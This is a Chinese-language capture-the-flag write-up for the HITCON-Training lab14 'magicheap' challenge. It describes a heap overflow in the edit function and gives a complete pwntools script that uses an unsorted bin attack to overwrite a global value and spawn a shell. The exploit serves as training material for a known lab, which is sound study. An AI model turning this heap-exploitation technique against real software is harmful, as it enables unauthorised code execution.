HITCON-Training-master|HITCON-Training-master lab14 wp
这个程序开启了NX和Canary
ida反汇编,可以看到程序的主要功能有4个
- create:根据用户输入的大小和内容,申请一个堆块
- delete:根据用户输入的索引,free一个chunk同时指针置为null
- edit: 根据用户输入的索引和大小,编辑一个chunk
- exit:退出程序
文章图片
image.png
文章图片
image.png 所以我们只要将magic大小修改的比4869大,然后再输入4869就可以cat flag了,这里我为了方便就将system的参数换成了"/bin/sh\x00"重新编译了一下
因为edit功能存在堆溢出,所以我们可以利用unsortedbin attack来将magic修改成一个很大的值
具体思路:
- 先create 3 个大小为0x80的堆
- delete chunk1
- edit chunk0 ,通过堆溢出修改chunk1的bk为magic-0x10
- create 1 个大小为0x80的堆
- 输入4869
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *r = process('./magicheap')
magic = 0x6020c0
bk = magic - 0x10def create_heap(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)def edit_heap(idx, size, content):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)def del_heap(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))create_heap(0x80, "dada")# chunk0
create_heap(0x80, "dada")# chunk1
create_heap(0x80, "dada")# chunk2del_heap(1)payload = 'a'*0x80 + p64(0) + p64(0x91) + p64(0) + p64(bk)edit_heap(0, 0x80 + 0x20, payload)
create_heap(0x80, "dada")
r.recvuntil(":")
r.sendline("4869")
r.interactive()
推荐阅读
- 放屁有这三个特征的,请注意啦!这说明你的身体毒素太多
- 一个小故事,我的思考。
- 9班|9班 刘志雪
- 这辈子我们都不要再联系了
- 猎杀IP
- 闲杂“细雨”
- 眼观耳听美食的日子
- 开花店的前景怎么样()
- 我眼中的佛系经纪人
- 拍照一年啦,如果你想了解我,那就请先看看这篇文章